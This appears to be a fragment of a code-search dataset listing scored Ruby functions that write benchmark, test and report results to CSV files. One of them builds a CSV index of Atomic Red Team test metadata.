"text": "def create_csv points\n File.open \"results.csv\", \"w\" do |file|\n points.each do |point|\n # Run the benchmark once\n puts \"Running benchmark for data point #{point}...\"\n results = yield point\n\n # Write as CSV\n fields = [point] + results\n file.write \"#{fields.join ','}\\n\"\n end\n end\nend",
"title": ""
},
{
"docid": "98b7323789136fcc1bfb1167ce7029df",
"score": "0.6996312",
"text": "def create_scale_results_csv_file(scale_results_parent_dir)\n CSV.open(\"#{scale_results_parent_dir}/PERF_SCALE_#{@scale_timestamp}.csv\", \"wb\") do |csv|\n headings = [\"agents\",\n \"ok\",\n \"ko\",\n \"combined mean\",\n \"catalog mean\",\n \"filemeta plugins mean\",\n \"filemeta pluginfacts mean\",\n \"locales mean\",\n \"node mean\",\n \"report mean\",\n \"average CPU %\",\n \"average memory\"]\n\n csv << headings\n end\n end",
"title": ""
},
{
"docid": "22fb1514b50b517bd899612602baaaba",
"score": "0.6910711",
"text": "def write_csv(metrics)\n filename = \"result_#{Time.now.to_i}.csv\"\n CSV.open(filename, 'w') do |csv|\n csv << ['Client', 'Snapshot Import Time [sec]', 'Validation Time [tipsets/sec]']\n\n metrics.each do |key, value|\n elapsed = value[:import][:elapsed] || 'n/a'\n tpm = value[:validate_online][:tpm] || 'n/a'\n\n csv << [key, elapsed, tpm]\n end\n end\n @logger.info \"Wrote #{filename}\"\nend",
"title": ""
},
{
"docid": "fc5034360e744ad3ce7ca0307e76c364",
"score": "0.68618846",
"text": "def update_scale_results_csv(scale_results_parent_dir, results)\n CSV.open(\"#{scale_results_parent_dir}/PERF_SCALE_#{@scale_timestamp}.csv\", \"a+\") do |csv|\n csv << results\n end\n end",
"title": ""
},
{
"docid": "d022eecb3271a0c76efd99cc527480f6",
"score": "0.67722803",
"text": "def save_results(jobs)\n\n CSV.open('dice_job_directory.csv', 'w') do |csv|\n jobs.each do |job|\n csv << job\n end\n end\n\n end",
"title": ""
},
{
"docid": "70f7faff03b678fec857881b9e87ad62",
"score": "0.6746783",
"text": "def write_results\n logf(:write_results)\n Dir.chdir(@directory){File.open(\"code_runner_results.rb\", 'w'){|file| file.puts results_file}}\nend",
"title": ""
},
{
"docid": "2630a3f0d3a1c3889c40b1c7c2d64756",
"score": "0.6706562",
"text": "def gatling2csv(results_dir, output_dir = results_dir)\n raise \"Invalid results_dir: #{results_dir}\" unless File.directory?(results_dir)\n\n results_name = File.basename(results_dir)\n output_path = \"#{output_dir}/#{results_name}.csv\"\n stats_path = \"#{results_dir}/js/stats.json\"\n\n # transaction rows are in the 'contents' node\n group_node = gatling_json_stats_group_node(stats_path)\n contents = gatling_json_stats_group_node_contents(group_node)\n\n puts \"Creating #{output_path}\"\n puts\n\n # TODO: determine and verify values prior to CSV output\n # TODO: unit test to ensure data validity\n # TODO: extract to a separate method\n CSV.open(output_path, \"wb\") do |csv|\n # add headings\n csv << PERF_CSV_COLUMN_HEADINGS\n\n # add rows\n PERF_CSV_ROW_LABELS.each_with_index do |item, index|\n row_data = if index.zero?\n # overall response time row is in the 'stats' node\n group_node[\"stats\"]\n else\n # individual component rows are in the 'contents' node\n # offset the index to get the the corresponding key\n contents[contents.keys[index - 1]][\"stats\"]\n end\n\n csv << [item, row_data[MIN][TOTAL], row_data[MAX][TOTAL], row_data[MEAN][TOTAL], row_data[STD][TOTAL]]\n end\n end\n\n csv2html(output_path)\n end",
"title": ""
},
{
"docid": "1b87da59ba4146a05898a718b3af0205",
"score": "0.6656469",
"text": "def dump_csv_files\n FileUtils.mkdir_p('tmp')\n write_csv_file(R_SET_TODO, \"tmp/_list_todo.csv\")\n write_csv_file(R_SET_GOOD, \"tmp/_list_good.csv\")\n write_csv_file(R_SET_BAD, \"tmp/_list_bad.csv\")\n puts \"CSV files written to 'tmp' directory.\"\n end",
"title": ""
},
{
"docid": "5e962e83c3a09d2fd3bc9c7bdf1cf61e",
"score": "0.66334224",
"text": "def save_results(jobs)\n\n CSV.open('dice_job_directory.csv', 'a') do |csv|\n jobs.each do |job|\n csv << job\n end\n end\n\n end",
"title": ""
},
{
"docid": "d9817a0fa02837f00770aed620e148b4",
"score": "0.6627169",
"text": "def write_to_csv (test_run, time, browser_name, num_trial, num_cases, duration)\n# googledrive_path=\"Google Drive/CODAP @ Concord/Software Development/QA\"\n# localdrive_path=\"Documents/CODAP data/\"\n\n if !File.exist?(\"#{Dir.home}/#{$dir_path}/#{$save_filename}\") || $new_file\n CSV.open(\"#{Dir.home}/#{$dir_path}/#{$save_filename}\", \"wb\") do |csv|\n csv<<[\"Test No.\", \"Time\", \"Browser\", \"Num of Trials\", \"Num of Cases\", \"Duration\"]\n csv << [test_run, time, browser_name, num_trial, num_cases, duration]\n end\n else\n CSV.open(\"#{Dir.home}/#{$dir_path}/#{$save_filename}\", \"a\") do |csv|\n csv << [test_run, time, browser_name, num_trial, num_cases, duration]\n end\n end\nend",
"title": ""
},
{
"docid": "6d37671132ad0632fb37f8d77a88878d",
"score": "0.6619065",
"text": "def write_csv_report_for_klass klass\n report_file = File.join(@cli.report_dir, \"#{klass.name.underscore}.csv\")\n\n CSV File.open(report_file, \"w+\") do | csv |\n csv << klass.to_csv\n klass.all do |m|\n csv << m.to_csv\n end\n end\n end",
"title": ""
},
{
"docid": "6e147412a8cf0d9427c707d6127cef35",
"score": "0.65693086",
"text": "def to_csv( csv_file_name = 'TrainingPace_' + @test_type + '_' + @pool_length.to_s + '_' + @date_swam.to_s )\r\n rows = []\r\n\r\n File.open( csv_file_name + '.csv', 'w' ) do |f|\r\n pace_titles = ['gender', 'category', 'event', 'pool', 'total_results', 'ponderated best', 'best results']\r\n rows << pace_titles.join(';')\r\n\r\n pace_row = ''\r\n rows << pace_row.join(';')\r\n\r\n f.puts rows.map{ |row| row }\r\n end\r\n end",
"title": ""
},
{
"docid": "19d1aabba4bc9ed439955021d0797958",
"score": "0.6557487",
"text": "def make_csv_file\n file_name = \"result_#{Parameters.duration}_#{Parameters.initial_pop_size}_\" \\\n \"#{Parameters.max_offsprings}\"\n if File.exist?(File.join(@sim_dir, file_name + '.csv'))\n file_name += \"_#{@discrim}\"\n @discrim += 1\n end\n File.join(@sim_dir, file_name + '.csv')\nend",
"title": ""
},
{
"docid": "9a2684d133857021fe3c5c8281b67bf3",
"score": "0.64395523",
"text": "def save_results\n\n unless @output_files\n puts 'No output file provided.'\n @output_files = []\n @output_files << 'output.txt'\n end\n\n @output_files.each do |file|\n file = File.expand_path(__FILE__).gsub!('scripts/' << __FILE__, 'test_output/' << file)\n if /.*\\.csv\\z/.match(file)\n puts \"Saving to CSV file:\\n\\t#{file}\"\n CSV.open(file, \"w+\") do |csv_file|\n @search_results.each do |row|\n csv_file << row\n end\n end\n elsif /.*\\.txt\\z/.match(file)\n save_txt(file)\n else\n puts \"Unrecognized file format.\"\n\n if file =~ /\\A(.*)\\.(.*?)\\z/\n file = \"#{$1}.txt\"\n elsif file =~ /\\A([^\\.]+)\\z/\n file = \"#{$1}.txt\"\n end\n\n save_txt(file)\n end\n end\n end",
"title": ""
},
{
"docid": "05adc5ac7bc4832b248f16905b6ef7dc",
"score": "0.64343756",
"text": "def export_csv(test_name, filename)\n SimulSuite.export_csv(test_name, filename)\n end",
"title": ""
},
{
"docid": "9d395df7851c2868ff225e575392f6db",
"score": "0.641453",
"text": "def to_csv_file(path)\n J2R.to_csv_file(path, @table.csv_output)\n end",
"title": ""
},
{
"docid": "7923d763dbf92d5ced832b95ba734cc0",
"score": "0.6374165",
"text": "def write_results(results)\n File.open(TEST_TIME_REPORT, 'a') do |f|\n f.puts(@test_times)\n end\n end",
"title": ""
},
{
"docid": "9584bfefd1a1eb496143c173c8a36071",
"score": "0.63727474",
"text": "def write_csv_to_file(csv, from, unit_strftime)\n reports_dir = ENV['DIR'] || File.join(Rails.root, 'public')\n reports_path = File.join(reports_dir,\n \"Report_#{from.strftime(unit_strftime)}.csv\")\n outfile = File.new(reports_path, \"w\")\n outfile.write(csv)\n outfile.close\n end",
"title": ""
},
{
"docid": "14e6efec7d2ec65c89b35e7f3bd5d888",
"score": "0.62127906",
"text": "def output_csv_for_all(filename)\n CSV.open(filename, 'w') do |csv|\n students.each do |student|\n csv << student_path(student).unshift(student)\n end\n end\n end",
"title": ""
},
{
"docid": "d3e68fd5cd47c66c31322a79198fcd45",
"score": "0.6212042",
"text": "def export\n export_csv_files\n puts \"Exported files to ruby/output\"\n end",
"title": ""
},
{
"docid": "b7d211069cbce551a8a7dbf2898b183f",
"score": "0.6207534",
"text": "def export(i)\n aFile = File.open(\"results_2.csv\", \"a\")\n bFile = File.open(\"results_5.csv\", \"a\")\n cFile = File.open(\"results_bonus.csv\", \"a\")\n \n if aFile\n aFile.syswrite(i.to_s + \",\")\n aFile.syswrite($strict_faults.to_s + \",\")\n aFile.syswrite(\"#{round($strict_avg_set_size)}\" + \",\")\n aFile.syswrite(\"#{round(1/$strict_fault_rate)}\" + \"\\n\")\n else\n puts \"Unable to open file!\"\n end\n \n if bFile\n bFile.syswrite(i.to_s + \",\")\n bFile.syswrite(\"#{round($strict_fault_rate)}\" + \",\")\n bFile.syswrite(\"#{round($practical_fault_rate)}\" + \"\\n\")\n else\n puts \"Unable to open file!\"\n end\n \n if cFile\n cFile.syswrite(i.to_s + \",\")\n cFile.syswrite(\"#{round($n1_fault_rate)}\" + \",\")\n cFile.syswrite(\"#{round($n2_fault_rate)}\" + \"\\n\")\n else\n puts \"Unable to open file!\"\n end\nend",
"title": ""
},
{
"docid": "8bf318f3895db394c41e4ee090c3c126",
"score": "0.62044364",
"text": "def go!\n column_names = %i[cstime cutime real stime total utime]\n\n puts \"Benchmarking...\"\n stats = []\n $stdout = File.open(File::NULL, 'w')\n Benchmark.bm do |benchmark|\n done = false\n until done do\n # Ensure GC doesn't run during benchmarking\n GC.disable\n bm = benchmark.report do\n chunk = combiner.take(chunk_size)\n done = true if chunk.empty?\n end\n data_point = {queue_length: combiner.queue_length}\n column_names.map {|colname| data_point[colname] = bm.send(colname) }\n stats << data_point\n GC.enable\n end\n end\n $stdout = STDOUT\n\n puts \"Writing performance data into 'benchmark/data'\"\n Dir.chdir('benchmark') do\n Dir.mkdir('data') unless Dir.exist?('data')\n Dir.chdir('data') do\n lengths = combiner.lists.map {|l| l.length.to_s}.join('x')\n filename = \"#{lengths}-#{chunk_size}_each\"\n CSV.open(\"#{filename}.csv\", \"wb\") do |csv|\n csv << stats.first.keys\n stats.each do |entry|\n csv << entry.values\n end\n end\n end\n end\n puts \"Done!\"\n\n end",
"title": ""
},
{
"docid": "16613d74840087a0bc701bda0c99f3d0",
"score": "0.61744666",
"text": "def parse_to_csv\n puts 'Parsing results to CSV...'\n CSV.open(\"#{@end_phdatetime}_crm_lead_dispo_stat.csv\", \"wb\", converters: :numeric) do |csv|\n @results.each(:as => :array) do |row|\n csv << row\n end\n end\n\n # Get total count leads modified\n # total_leads = Array.new\n # CSV.foreach(\"#{@end_phdatetime}_crm_lead_dispo_stat.csv\", \"wb\", converters: :numeric)\n\n puts \"Parse completed. File #{@end_phdatetime}_crm_lead_dispo_stat.csv is now available.\"\nend",
"title": ""
},
{
"docid": "0bce81c285faa3d52a886ed2cba92e27",
"score": "0.61521757",
"text": "def write_ouput_file(output_hash, path_to_input_test_file, run)\n splitted_path = path_to_input_test_file.split '/'\n input_file_name = splitted_path[-1].split('.')[0]\n path_to_output_file =\n \"#{splitted_path.slice(0..-2).join('/')}/#{input_file_name}-OUTPUT.csv\"\n File.delete(path_to_output_file) if File.exist?(path_to_output_file) && run.zero?\n file = File.open path_to_output_file, 'a'\n if run.zero?\n if @algorithm_name != 'cchtga'\n file.puts 'best fitness,generation of best fitness,function evaluations of best fitness,optimal value,relative error'\n else\n file.puts 'best fitness,generation of best fitness,function evaluations of best fitness,optimal value,relative error,subsystems'\n end\n end\n file.puts \"#{output_hash[:best_fit]},#{output_hash[:gen_of_best_fit]},#{output_hash[:func_evals_of_best_fit]},#{output_hash[:optimal_func_val]},#{output_hash[:relative_error]},#{output_hash[:num_subsystems]}\"\n file.close\n end",
"title": ""
},
{
"docid": "f8adcc6f88cd2a3b258bbf5683fdfefa",
"score": "0.61508346",
"text": "def output_csv(data)\n CSV.open(OUTPUT_FILE, 'wb') do |csv|\n data.each do |datum|\n csv << datum\n end\n end\nend",
"title": ""
},
{
"docid": "6e70f71298bd78b10e3dc4fd3c65f11d",
"score": "0.61414135",
"text": "def write_dir!\n interpolations = {\n :name => @experiment,\n :cvs => @cvs,\n :short_timestamp => Time.now.to_i.to_s[4..9],\n :timestamp => Time.now.to_i,\n :env => @options.env\n }.merge Experiment::Config.to_hash\n \t name = interpolations.keys.reduce(@@directory_name) do |result, inter|\n result.gsub /:#{inter}/, interpolations[inter].to_s\n end\n \t\t@dir = \"./results/#{name}\"\n \t\tFileUtils.mkdir_p @dir\n \tend",
"title": ""
},
{
"docid": "7820649550fa57590eafbe749eea58f2",
"score": "0.6135831",
"text": "def generate_csv\n CSV.open(\"outputs/#{@path}\", 'w') do |csv|\n csv << ['###########']\n csv << [\"# Output #{@path}\"]\n csv << ['###########']\n @order.items.each do |item|\n csv << [item[:quantity], ' ' + item[:product].name, ' ' + item[:product].taxed_price.to_s]\n end\n csv << []\n csv << [\"Sales Taxes: #{sprintf('%0.02f', @order.sales_taxes)}\"]\n csv << [\"Total: #{sprintf('%0.02f', @order.total)}\"]\n end\n end",
"title": ""
},
{
"docid": "e5ced9cef0f3503fbb32cfca0a246dcc",
"score": "0.6109559",
"text": "def write\n return false unless @output\n i = 0\n CSV.open(\"#{@output}.csv\", 'w') do |csv|\n if (i == 0) && @seo\n csv << ['URL', 'Page Title', 'Meta Description', 'H1', 'H2']\n i += 1\n end\n @result.each do |entry|\n csv << entry\n end\n end\n puts HR\n puts \"File Created: #{@output}.csv\"\n puts \"Object Count: #{@result.size}\"\n puts HR\n puts\n end",
"title": ""
},
{
"docid": "753d778654f32376f9bdf72c122ce6ed",
"score": "0.610382",
"text": "def save_output_to_file(grid, file_name, options)\n require 'csv'\n rows = grid.getCountRows()\n cols = grid.getCountColumns()\n row_count = 0\n cb = options[:output_handler]\n CSV.open(file_name, \"wb\", col_sep: options.fetch(:separator, ',')) do |csv|\n (0...rows).each do |row_i|\n cells = []\n (0...cols).each do |col_i|\n cells << try{ grid.getStringValue(row_i, col_i) }\n end\n cb.call(cells) if cb\n csv << cells\n row_count += 1\n end\n end\n log.fine \"Output #{row_count} records to #{file_name}\"\n row_count\n end",
"title": ""
},
{
"docid": "df1ce29b909c2985bebea8965ac00d88",
"score": "0.60999465",
"text": "def write_to_csv_file(file_name)\n\n file_out = File.new(file_name.to_s, \"w\")\n\n # write each trajectory point with a time offset beginning at launch_time to the traj file\n time_offset = 0\n @trajectory.each do |a_point|\n\n file_out.printf(\"%f,%f,%f,%f,%f,%f,%f,%f,%f,%f\\n\",\n t_track[time_offset],\n a_point.lat,\n a_point.lng,\n a_point.alt,\n @velocity_vector_track[time_offset][0],\n @velocity_vector_track[time_offset][1],\n @velocity_vector_track[time_offset][2],\n @attitude_vector_track[time_offset][0],\n @attitude_vector_track[time_offset][1],\n @attitude_vector_track[time_offset][2]\n )\n\n\n time_offset += 1\n\n end ## end of @trajectory.each do |a_point|\n\n file_out.close # close traj the file\n\n end",
"title": ""
},
{
"docid": "d8e6096e208e4b26ae5435a4cef9f2b7",
"score": "0.6095096",
"text": "def export(temp_dir = nil)\n unless @file.nil?\n return @file\n end\n @file = Tempfile.create('export_', (temp_dir || @@temp_dir))\n CSV.open(@file.path, \"w+\") do |csv|\n measurements.each do |m|\n csv << serializer.serialize(m)\n end\n end\n @file\n end",
"title": ""
},
{
"docid": "9a848b2aaf8a0817c751ab64f86b6c17",
"score": "0.6092672",
"text": "def save_csv_report(file_name = 'default_feature_report')\n # reassign the initialize local variable @file_name to the file name input.\n @file_name = file_name\n\n # define the results_dir_path\n results_dir_path = File.join(@directory_name, 'feature_reports')\n # create feature reports directory\n Dir.mkdir(results_dir_path) unless Dir.exist?(File.join(@directory_name, 'feature_reports'))\n\n ## copy CSV report to the new feature_reports folder\n # get all folder names in the feature diectory\n directory_folders = Dir.glob \"#{@directory_name}/*/\"\n # copy the CSV report to the new feature_reports folder\n directory_folders.each do |f|\n if f.include? '_default_feature_reports'\n FileUtils.cp(File.join(f, 'default_feature_reports.csv'), File.join(results_dir_path, @file_name + '.csv'))\n end\n end\n end",
"title": ""
},
{
"docid": "7200c754e88b86a275280b4fe28cf5c6",
"score": "0.6084748",
"text": "def result_path\n \treturn Rails.root.to_s+\"/tmp/report_#{self.uuid}.csv\"\n end",
"title": ""
},
{
"docid": "a01695161cc83091e48921511d9a6086",
"score": "0.60826385",
"text": "def write_to_csv_file(file_name)\n\n file_out = File.new(file_name.to_s, \"w\")\n \n # write each trajectory point with a time offset beginning at launch_time to the traj file\n time_offset = 0\n @trajectory.each do |a_point|\n\n file_out.printf(\"%f,%f,%f,%f,%f,%f,%f,%f,%f,%f\\n\",\n t_track[time_offset],\n a_point.lat,\n a_point.lng,\n a_point.alt,\n @velocity_vector_track[time_offset][0],\n @velocity_vector_track[time_offset][1],\n @velocity_vector_track[time_offset][2],\n @attitude_vector_track[time_offset][0],\n @attitude_vector_track[time_offset][1],\n @attitude_vector_track[time_offset][2]\n )\n time_offset += 1\n\n end ## end of @trajectory.each do |a_point|\n\n file_out.close # close traj the file\n\n end",
"title": ""
},
{
"docid": "2f030b4eb7e7d56f618ec58ae48ddc1f",
"score": "0.60725033",
"text": "def parse\n CSV.open(\"../solution.csv\", \"w\") do |csv|\n results.each do |result|\n student = Student.new(result)\n \n csv << [student.name].concat(student.learning_path(hashed_domains).take(5))\n end\n end\n end",
"title": ""
},
{
"docid": "e78d676ea9f882e5e58efae93de9aae6",
"score": "0.60716987",
"text": "def create_csv(table)\n time = Time.new()\n file_start = \"/extraction/csv/#{time.year}#{time.month}#{time.day}#{time.hour}#{time.min}#{time.sec}#{time.usec}\"\n CSV.open(\"public#{file_start}-data.csv\", \"w\") do |csv|\n csv << table.column_data\n table.row_data.each do |row|\n csv << row\n end\n end\n @filename << \"#{file_start}-data.csv\"\n\n #If ID data was tracked, generate id CSV as well\n if table.id_data.length > 0\n CSV.open(\"public#{file_start}-ids.csv\", \"w\") do |csv|\n csv << table.column_data\n table.id_data.each do |row|\n csv << row\n end\n end\n @filename << \"#{file_start}-ids.csv\"\n end\n end",
"title": ""
},
{
"docid": "961d86e4657ff7b3fa5f263697c0abe1",
"score": "0.60708094",
"text": "def write_result\n CSV.open(OUT, \"w\") do |r|\n r << @headers\n @entries.each do |row|\n r << row.values\n end\n end\n end",
"title": ""
},
{
"docid": "04c2494dd26e12f6ee423a7b143a7106",
"score": "0.6033251",
"text": "def write_to_csv filename = \"#{title}.csv\", options = {}\n File.open(filename, \"w\") { |f| f.write(to_csv(options)) }\n filename\n end",
"title": ""
},
{
"docid": "6e8643ca568ceb9184621d9c466576d8",
"score": "0.6026331",
"text": "def write_results_to_file\n file = @file.gsub(/\\.\\w+/, '.neighbors')\n File.open(file, \"w+\") do |f|\n @data.each { |d| f << d + \"\\n\" }\n end\n end",
"title": ""
},
{
"docid": "ad1fc9f9708805537c998ae25030725c",
"score": "0.60151756",
"text": "def save_as_csv\n CSV.open(\"./db/#{@name}.csv\", \"wb\") {|csv| @@D.to_a.each {|elem| csv << elem} }\n end",
"title": ""
},
{
"docid": "b66638416fe6c39ada6a4ae26ab7e97b",
"score": "0.6013601",
"text": "def scan_dir_stats2csv(dir, outname)\n errors = []\n filenames = Dir[\"#{dir}/**/*.json\".untaint]\n raise ArgumentError, \"#{__method__} called with no files in #{dir}\" if filenames.length == 0\n puts \"#{__method__} processing #{filenames.length} files\"\n firstfile = filenames.shift\n jzon = JSON.parse(File.read(firstfile))\n # Write out headers and the first file in new csv\n csvfile = File.join(\"#{dir}\", outname)\n csv = CSV.open(csvfile, \"w\", headers: %w( year month day weekday hour zone listid who subject lines committer messageid inreplyto ), write_headers: true)\n jzon[0].each do |m|\n csv << [ m['y'], m['m'], m['d'], m['w'], m['h'], m['z'], m['listid'], m['who'], m['subject'], m['lines'], m['committer'], m['messageid'], m['inreplyto'] ]\n end\n \n # Write out all remaining files, without headers, appending\n filenames.each do |f|\n begin\n j = JSON.parse(File.read(f))\n j[0].each do |m|\n csv << [ m['y'], m['m'], m['d'], m['w'], m['h'], m['z'], m['listid'], m['who'], m['subject'], m['lines'], m['committer'], m['messageid'], m['inreplyto'] ]\n end\n rescue => e\n puts \"ERROR: parse/write of #{f} raised #{e.message[0..255]}\"\n errors << \"#{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\"\n next\n end\n end\n csv.close # Just in case\n return errors\nend",
"title": ""
},
{
"docid": "618982416bd6f9b100a9154d78b4c9d8",
"score": "0.60036385",
"text": "def output_results\n problem_type = self.class.to_s.gsub(\n /.*\\:\\:/, ''\n ).gsub(\n 'Controller', ''\n ).underscore\n \n parameter_list = @parameters.collect do |param, value, store|\n (store ||= \"\") << \"#{param}, #{value}\\n\"\n end\n \n file_name = \"#{problem_type}_#{Time.now.to_i}.csv\"\n file_path = File.join(\n File.expand_path(File.join(File.dirname(__FILE__), '..', '..')),\n \"data\",\n file_name\n )\n \n File.open(file_path, 'w') do |f|\n f.write(parameter_list)\n (0...@parameters[:number_of_spatial_points]).each do |space_point|\n f.write(\", #{space_point * @parameters[:x_interval]}\")\n end\n @equation_solver.data.each do |result|\n f.write(\"\\n\")\n f.write([result[0], *result[1].to_a].join(', '))\n end\n end\n \n print(\n \"\\n\\nSuccess: data saved to \" + \n \"data/#{file_name}\\n\\n\"\n )\n end",
"title": ""
},
{
"docid": "7cb0d19d432dae4b16d0b14d5c1308c7",
"score": "0.599639",
"text": "def generate_index_csv!(output_doc_path_by_tactic, only_platform: /.*/)\n rows = Array.new\n rows << [\"Tactic\", \"Technique #\", \"Technique Name\", \"Test #\", \"Test Name\", \"Test GUID\", \"Executor Name\"]\n\n ATTACK_API.techniques_by_tactic(only_platform: only_platform).each do |tactic, techniques|\n techniques.each do |technique|\n ATOMIC_RED_TEAM.atomic_tests_for_technique(technique).each_with_index do |atomic_test, i|\n next unless atomic_test['supported_platforms'].any? {|platform| platform.downcase =~ only_platform}\n rows << [tactic, technique['identifier'], technique['name'], i+1, atomic_test['name'], atomic_test['auto_generated_guid'], atomic_test['executor']['name']]\n end\n end\n end\n\n File.write(output_doc_path_by_tactic, rows.map(&:to_csv).join)\n\n puts \"Generated Atomic Red Team CSV indexes at #{output_doc_path_by_tactic}\"\n end",
"title": ""
},
{
"docid": "7cb0d19d432dae4b16d0b14d5c1308c7",
"score": "0.599639",
"text": "def generate_index_csv!(output_doc_path_by_tactic, only_platform: /.*/)\n rows = Array.new\n rows << [\"Tactic\", \"Technique #\", \"Technique Name\", \"Test #\", \"Test Name\", \"Test GUID\", \"Executor Name\"]\n\n ATTACK_API.techniques_by_tactic(only_platform: only_platform).each do |tactic, techniques|\n techniques.each do |technique|\n ATOMIC_RED_TEAM.atomic_tests_for_technique(technique).each_with_index do |atomic_test, i|\n next unless atomic_test['supported_platforms'].any? {|platform| platform.downcase =~ only_platform}\n rows << [tactic, technique['identifier'], technique['name'], i+1, atomic_test['name'], atomic_test['auto_generated_guid'], atomic_test['executor']['name']]\n end\n end\n end\n\n File.write(output_doc_path_by_tactic, rows.map(&:to_csv).join)\n\n puts \"Generated Atomic Red Team CSV indexes at #{output_doc_path_by_tactic}\"\n end",
"title": ""
},
{
"docid": "2999e1107323578661c68a346fb5c354",
"score": "0.5992399",
"text": "def to_csv\n File.write(@file_name, to_s)\n end",
"title": ""
},
{
"docid": "16579b7a0e33cdd197826a80ef2300da",
"score": "0.5978931",
"text": "def with_output_to_csv(path, &_block)\n CSV.open(path, 'w') do |csv|\n yield csv\n end\n @files_generated << path\n end",
"title": ""
},
{
"docid": "0ec93e73c13dc4b1fefbed75580c634f",
"score": "0.5955589",
"text": "def export_datasheet(vote_method, time)\n csv = CSV.open(\"#{CONFIG[\"project_dir\"]}datasheet_#{vote_method}_#{time.to_i}.csv\", \"w\")\n vote_avgs = []\n StopSignLog.to_a.each do |ssl|\n if Vote.where(stop_id: ssl.stop_id, vote_method: vote_method).count >= 1\n vote_avg = Vote.where(stop_id: ssl.stop_id, vote_method: vote_method).to_a.collect(&:vote).average\n if vote_avg > 0.5\n vote_avg = 1\n else\n vote_avg = 0\n end\n row = [vote_avg]\n vote_avgs << vote_avg\n ssl.ml_row.collect{|x| row << x}\n csv << row\n end\n end\n csv.close\n return \"datasheet_#{vote_method}_#{time.to_i}.csv\"\n end",
"title": ""
},
{
"docid": "8008a4c404490dfd454dc60a66d581d0",
"score": "0.5954655",
"text": "def export_csv(filepath)\n csv_id = client.scan_export(@id, 'csv')\n csv_data = client.report_download(@id, csv_id['file'])\n\n File.write(filepath, csv_data)\n end",
"title": ""
},
{
"docid": "00cc57c95e2910235590a5a71c021160",
"score": "0.59519887",
"text": "def csv_tool headers, data\n CSV.open('csvexperimentfile.csv', 'wb') do |csv|\n csv << headers\n\n data.each do |column|\n csv << column\n end\n end\nend",
"title": ""
},
{
"docid": "7b2323025bd612f3025bc22f6b5c1430",
"score": "0.59441006",
"text": "def create_test_result_file(result, cgi)\n File.open(RESULTS_DIR + result.file, \"w\") do |file|\n file.puts <<EOL\n<html><head><title>Results</title></head>\n<body>\n<h1>Selenium test results</h1>\n<dl>\n <dt>Selenium Version</dt><dd>#{result.version}</dd>\n <dt>User Agent</dt><dd>#{result.user_agent}</dd>\n <dt>Date</dt><dd>#{result.completion_time}</dd>\n <dt>Result</dt><dd><b>#{result.result}</b></dd>\n</dl>\nEOL\n\n file.puts cgi['suite']\n\n testTables = cgi.keys.grep(/testTable/).sort\n testTables.each do |key|\n file.puts cgi[key]\n end\n\n file.puts <<EOL\n</body>\n</html>\nEOL\n file.chmod(0666)\n end\nend",
"title": ""
},
{
"docid": "c07f62f37da5ac8902b40c7067ecb03f",
"score": "0.59364766",
"text": "def to_csv(file_name)\n rows = to_rows($res)\n File.open($options[:file] + \".csv\", \"w\") {|f| f.write(rows.inject([]) { |csv, row| csv << CSV.generate_line(row) }.join(\"\"))}\nend",
"title": ""
},
{
"docid": "4bd03d6203da8f8b18e5a9a2e8dbe9c0",
"score": "0.5930016",
"text": "def writePollingAreas(filePath, resultsFlatten)\n\twriteToFilePath = suffixBeforeFileType(filePath)\n\tCSV.open(writeToFilePath, 'wb') do |csv|\n\t csv << resultsFlatten.values.first.toCsv.keys\n\n\n\t resultsFlatten.each_with_index {|(identifier, pollingAreaObj), i|\n\t printProgress(\"Writting #{identifier}\", i, resultsFlatten.count, true)\n\t next if pollingAreaObj.getTotalVotes == 0\n\t csv << pollingAreaObj.toCsv.values\n\t }\n\tend\n\n\tputs \"Done writting to #{writeToFilePath}\"\nend",
"title": ""
},
{
"docid": "57448ee5723ebbbb2c133fb35726c4ff",
"score": "0.59281945",
"text": "def write_csv(destination_dir,keymap_filename)\n File.open(File.join(destination_dir,keymap_filename), 'w') do |out|\n out.write(to_csv)\n end\n end",
"title": ""
},
{
"docid": "20e7e3a8cbe1b0beb19cb400fb6d75fb",
"score": "0.59247345",
"text": "def perform(time_ago = 1.month_ago)\n CSV.open(\"reports/#{Date.current.to_s}.csv\", \"wb\") do |csv|\n csv << ['KEYWORD', 'POSITION', 'URL', 'TITLE', 'DESCRIPTION']\n TopHits::Result.joins(:keyword)\n .select('keywords.name, rank , url, title, description')\n .where(results: { created_at: (time_ago..Time.now)})\n .find_each do |batch| \n csv << batch.attributes.values \n end\n end\n end",
"title": ""
},
{
"docid": "352eb15f368ad17d5b2c113105cee1e4",
"score": "0.59148085",
"text": "def write_results_log(val, compile_options, generation_num, population_num)\n begin\n CriticalSection.enter\n results_log=File.new(\"#{@test_dir}/log/current/results.log\", \"a\")\n results_log.puts(\"#{val}\\t#{generation_num}\\t#{population_num}\\t'#{@compile_options}'\")\n results_log.close\n ensure\n CriticalSection.leave\n end\n end",
"title": ""
},
{
"docid": "57817437fc1b03ec7e4accb1cca32c35",
"score": "0.5894103",
"text": "def retrieve_results_csv(local_results_dir, server_dns = nil, analysis_id = nil)\n # Verify localResults directory\n unless File.basename(local_results_dir) == 'localResults'\n fail \"ERROR: input #{local_results_dir} does not point to localResults\"\n end\n\n dest = nil\n Dir[\"#{local_results_dir}/*.csv\"].each do |item|\n dest = item\n end\n\n return unless dest.nil?\n\n dest = File.join local_results_dir, 'results.csv'\n\n url = URI.parse(\"#{server_dns}/analyses/#{analysis_id}/download_data.csv?\")\n http = Net::HTTP.new(url.host, url.port)\n http.read_timeout = 1000 # seconds\n\n params = { 'export' => 'true' }\n url.query = URI.encode_www_form(params)\n request = Net::HTTP::Get.new(url.request_uri)\n\n http.request request do |response|\n total = response.header['Content-Length'].to_i\n if total == 0\n fail \"Did not successfully download #{dest}.\"\n end\n\n size = 0\n progress = 0\n open dest, 'wb' do |io|\n response.read_body do |chunk|\n io.write chunk\n size += chunk.size\n new_progress = (size * 100) / total\n unless new_progress == progress\n puts 'Downloading %s (%3d%%) ' % [dest, new_progress]\n end\n progress = new_progress\n end\n end\n end\n\n unless File.exist? dest\n fail \"ERROR: Unable to download #{dest}.\"\n end\nend",
"title": ""
},
{
"docid": "906dd1c9dedbcd92c7bac66f0217d59b",
"score": "0.5881765",
"text": "def drift_to_csv\n @compare = Marshal.load(session[:miq_compare])\n rpt = create_drift_report(true)\n filename = \"drift_report_\" + format_timezone(Time.now, Time.zone, \"fname\")\n disable_client_cache\n send_data(rpt.to_csv, :filename => \"#{filename}.csv\")\n end",
"title": ""
},
{
"docid": "b4ff59e92598ff0101db1b2df40afb43",
"score": "0.58810234",
